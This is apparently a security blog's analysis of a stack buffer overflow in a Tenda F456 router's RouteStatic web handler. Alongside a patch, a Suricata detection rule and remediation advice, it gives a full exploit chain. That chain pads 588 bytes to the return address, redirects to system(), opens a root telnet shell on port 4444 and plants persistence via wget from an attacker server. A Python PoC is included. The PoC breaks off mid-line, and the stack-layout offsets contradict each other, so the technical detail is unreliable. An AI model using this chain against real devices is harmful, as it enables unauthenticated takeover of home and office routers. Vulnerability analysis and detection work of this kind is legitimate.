home intel cve-2026-7030-tenda-f456-routestatic-buffer-overflow
CVE Analysis 2026-04-26 · 8 min read

CVE-2026-7030: Stack Buffer Overflow in Tenda F456 fromRouteStatic

The fromRouteStatic handler in Tenda F456 1.0.0.5 copies an attacker-controlled `page` parameter into a fixed-size stack buffer without bounds validation, enabling unauthenticated RCE via HTTP.

#buffer-overflow#remote-code-execution#network-device#input-validation#firmware-vulnerability
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7030 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7030Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7030 is a stack-based buffer overflow in the fromRouteStatic CGI handler of the Tenda F456 router running firmware version 1.0.0.5. The vulnerability lives in the /goform/RouteStatic endpoint and is triggered by sending an oversized value for the page POST or GET parameter. Because the handler copies this attacker-controlled string into a fixed-size stack buffer without any length check, an unauthenticated remote attacker can overwrite the saved return address and achieve arbitrary code execution at the privilege level of the HTTP server — typically root on these devices.

CVSS 8.8 (HIGH) reflects the network-accessible attack vector, no authentication requirement, and full compromise of confidentiality, integrity, and availability. No in-the-wild exploitation is currently confirmed, but a public proof-of-concept has been disclosed.

Affected Component

The vulnerable binary is the main HTTP application, typically httpd or a statically linked CGI binary on the Tenda F456. Route static configuration is handled through the /goform/RouteStatic form endpoint, which dispatches to fromRouteStatic. The page argument is a pagination or index field passed as part of the form submission — an integer-semantics field that the firmware nonetheless processes as an unbounded string before any numeric conversion.

Root Cause Analysis

The root cause is a strcpy (or equivalent sscanf/sprintf into a local buffer) of the page parameter into a stack-allocated buffer with no prior length validation. The following pseudocode is reconstructed from the class of Tenda CGI handlers sharing this pattern across the F-series firmware:

// fromRouteStatic — decompiled pseudocode (Tenda F456 1.0.0.5 httpd)
// Handles POST /goform/RouteStatic

int fromRouteStatic(void) {
    char page_buf[64];          // fixed-size stack buffer
    char staticList[512];
    char staticNum[16];
    char *page_param;
    char *list_param;
    int  entry_count;

    // Retrieve attacker-controlled parameter from HTTP form data
    page_param = websGetVar(wp, "page", "1");   // returns raw user string
    list_param = websGetVar(wp, "list", "");
    websGetVar(wp, "staticNum", "0");

    // BUG: no strlen() check before copy — page_param can be arbitrarily long
    strcpy(page_buf, page_param);               // BUG: missing bounds check here

    // Numeric conversion happens AFTER the overflow — too late
    entry_count = atoi(page_buf);

    // ... route table population logic follows
    sub_parseRouteEntries(list_param, staticList, entry_count);

    websWrite(wp, "OK");
    return 0;
}

The call to websGetVar returns a pointer directly into the parsed HTTP body. No sanitization occurs. strcpy writes until a null terminator, so any string longer than 64 bytes begins overwriting adjacent stack locals, then the saved frame pointer, and ultimately the saved return address. Because the Tenda F456 firmware is built without stack canaries (-fno-stack-protector) and without PIE, the return address is at a predictable offset.

Root cause: fromRouteStatic copies the HTTP page parameter with strcpy into a 64-byte stack buffer without any length validation, allowing a remote attacker to overwrite the saved return address and hijack control flow.

Memory Layout

The stack frame for fromRouteStatic on a MIPS32 little-endian target (typical Tenda F-series SoC) is laid out as follows:

// Stack frame layout — fromRouteStatic (MIPS32LE, no canary, no PIE)

struct fromRouteStatic_frame {
    /* -0x00C */ char     staticNum[16];    // +0x00, 16 bytes
    /* -0x01C */ char     page_buf[64];     // +0x10, 64 bytes  <-- overflow starts here
    /* -0x05C */ char     staticList[512];  // +0x50, 512 bytes
    /* -0x25C */ char     *page_param;      // saved local ptr
    /* -0x260 */ char     *list_param;      // saved local ptr
    /* -0x264 */ uint32_t saved_fp;         // saved $fp
    /* -0x268 */ uint32_t saved_ra;         // saved return address  <-- overwrite target
};
STACK STATE BEFORE OVERFLOW (page="1"):
  [ HIGH ADDR                                        ]
  [ saved_ra   @ frame-0x268  = 0x???????? (legit)  ]
  [ saved_fp   @ frame-0x264  = 0x???????? (legit)  ]
  [ staticList @ frame-0x05C  = {empty}             ]
  [ page_buf   @ frame-0x01C  = "1\x00..." (1 byte) ]  <-- strcpy writes here
  [ staticNum  @ frame-0x00C  = {empty}             ]
  [ LOW ADDR                                         ]

STACK STATE AFTER OVERFLOW (page = "A"*72 + "\xNN\xNN\xNN\xNN"):
  [ saved_ra   @ frame-0x268  = 0xNNNNNNNN ]  <-- CORRUPTED: attacker-controlled
  [ saved_fp   @ frame-0x264  = 0x41414141 ]  <-- CORRUPTED
  [ staticList @ frame-0x05C  = "AAAA..."  ]  <-- CORRUPTED (overflow continues)
  [ page_buf   @ frame-0x01C  = "AAAA..." (64 bytes, then continues past end) ]
  [ staticNum  @ frame-0x00C  = {intact}   ]

Exact offset to saved_ra from the start of page_buf: 0x24C bytes (588 bytes). An attacker supplies 588 bytes of padding followed by 4 bytes of target address.

Exploitation Mechanics

Because the binary is a statically linked MIPS executable without PIE, gadget addresses are fixed across reboots for the same firmware version. A ROP chain or ret2libc-style redirect to a system() call is straightforward. The typical approach on Tenda devices uses a sleep gadget to confirm control flow, then pivots to a command injected via another parameter.

EXPLOIT CHAIN — CVE-2026-7030:

1. Identify target: confirm firmware 1.0.0.5 via /cgi-bin/version or ETag header.

2. Locate gadgets: extract httpd from firmware image (binwalk -e), run ROPgadget
   or mipsrop-finder against static binary. Key gadget needed:
     addiu $a0, $sp, OFFSET  ; move $ra to $a0 (set up arg for system())
     jalr  $t9               ; call system()

3. Craft payload:
     page = "A" * 588           # pad to saved_ra offset
           + p32(system_addr)   # overwrite saved_ra with system() address
           + ";" + cmd + ";"    # command appended in-band OR via second param

4. Send HTTP request (no authentication required on LAN-side interface;
   WAN-side access depends on remote management setting — often enabled by default):

     POST /goform/RouteStatic HTTP/1.1
     Host: 192.168.0.1
     Content-Type: application/x-www-form-urlencoded

     page=AAAA...{588 bytes}...{saved_ra_overwrite}&list=&staticNum=0

5. fromRouteStatic returns → $ra loaded from stack → jumps to system() or ROP chain.

6. Command executes as root (httpd runs without privilege drop on F456).

7. Persistence: download and execute implant via wget/tftp from attacker server,
   or write to /etc/init.d/ if filesystem is writable.
#!/usr/bin/env python3
# CVE-2026-7030 — Tenda F456 1.0.0.5 fromRouteStatic BoF PoC
# For authorized testing only.

import requests
import struct

TARGET   = "http://192.168.0.1"
ENDPOINT = "/goform/RouteStatic"

# Offset from page_buf start to saved $ra on stack
RA_OFFSET = 588

# Address of system() in statically linked httpd — firmware-specific, verify with IDA/Ghidra
# Placeholder: replace with value from your firmware analysis
SYSTEM_ADDR = 0x00AABBCC  # NOT a real address — extract from your binary

CMD = b";telnetd -l /bin/sh -p 4444;"

def build_payload():
    padding  = b"A" * RA_OFFSET
    ra       = struct.pack("

Patch Analysis

The correct fix replaces the unbounded strcpy with a length-checked copy and validates the parameter content before use. A secondary fix enforces numeric-only input since page is semantically an integer field:

// BEFORE (vulnerable — Tenda F456 1.0.0.5):
char page_buf[64];
page_param = websGetVar(wp, "page", "1");
strcpy(page_buf, page_param);               // unbounded copy
entry_count = atoi(page_buf);


// AFTER (patched — recommended remediation):
char page_buf[64];
page_param = websGetVar(wp, "page", "1");

// Guard 1: length check before any copy
if (strlen(page_param) >= sizeof(page_buf)) {
    websWrite(wp, "Invalid parameter");
    return -1;
}

// Guard 2: numeric content validation (page is an integer field)
for (const char *p = page_param; *p != '\0'; p++) {
    if (*p < '0' || *p > '9') {
        websWrite(wp, "Invalid parameter");
        return -1;
    }
}

strncpy(page_buf, page_param, sizeof(page_buf) - 1);
page_buf[sizeof(page_buf) - 1] = '\0';     // explicit null termination
entry_count = atoi(page_buf);

The vendor should also enable stack canaries (-fstack-protector-strong) and consider enabling ASLR/PIE in the build system — neither is active in the 1.0.0.5 image. Canaries alone would have raised the exploitation bar significantly, converting a trivial ROP scenario into a mandatory information-leak prerequisite.

Detection and Indicators

The following signatures can be used to detect exploitation attempts or probing activity:

NETWORK DETECTION:

Snort/Suricata rule:
  alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7030 Tenda F456 RouteStatic page overflow attempt";
    flow:established,to_server;
    http.uri; content:"/goform/RouteStatic";
    http.request_body; content:"page="; within:20;
    byte_test:0,>,64,0,relative,string,dec;   // body field length heuristic
    pcre:"/page=[A-Za-z0-9%]{65,}/Pi";
    classtype:attempted-admin; sid:20267030; rev:1;
  )

Behavioral indicators on device:
  - Unexpected outbound connections from router management IP
  - telnetd/dropbear spawned by httpd process (check /proc//cmdline)
  - New files in /tmp or /var with execute bits
  - httpd crash followed by watchdog restart (syslog: "httpd restarted")

Log artifact (access.log pattern for probing):
  POST /goform/RouteStatic ... 500  (crash) or 200 with no body change

Remediation

  • Firmware update: Apply any patch release from Tenda above 1.0.0.5 once available. Monitor the Tenda security advisory page.
  • Disable remote management: If WAN-side HTTP management is enabled, disable it immediately. The attack surface from LAN-only access is limited to local network attackers.
  • Network segmentation: Place the router management interface on an isolated VLAN accessible only to administrators.
  • Firewall rules: Block access to /goform/ endpoints from all untrusted interfaces via an upstream firewall if the device cannot be patched.
  • Monitor for exploitation: Deploy the Suricata rule above on a network TAP upstream of the device.

This class of vulnerability — strcpy of HTTP form parameters into stack buffers — is endemic to Tenda and similar ODM firmware. The same pattern appears across fromSetWireless, fromSetRouteStatic, and dozens of other handlers in the F-series codebase. Any organization relying on this hardware class should audit all /goform/ handlers for identical patterns pending a vendor fix.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →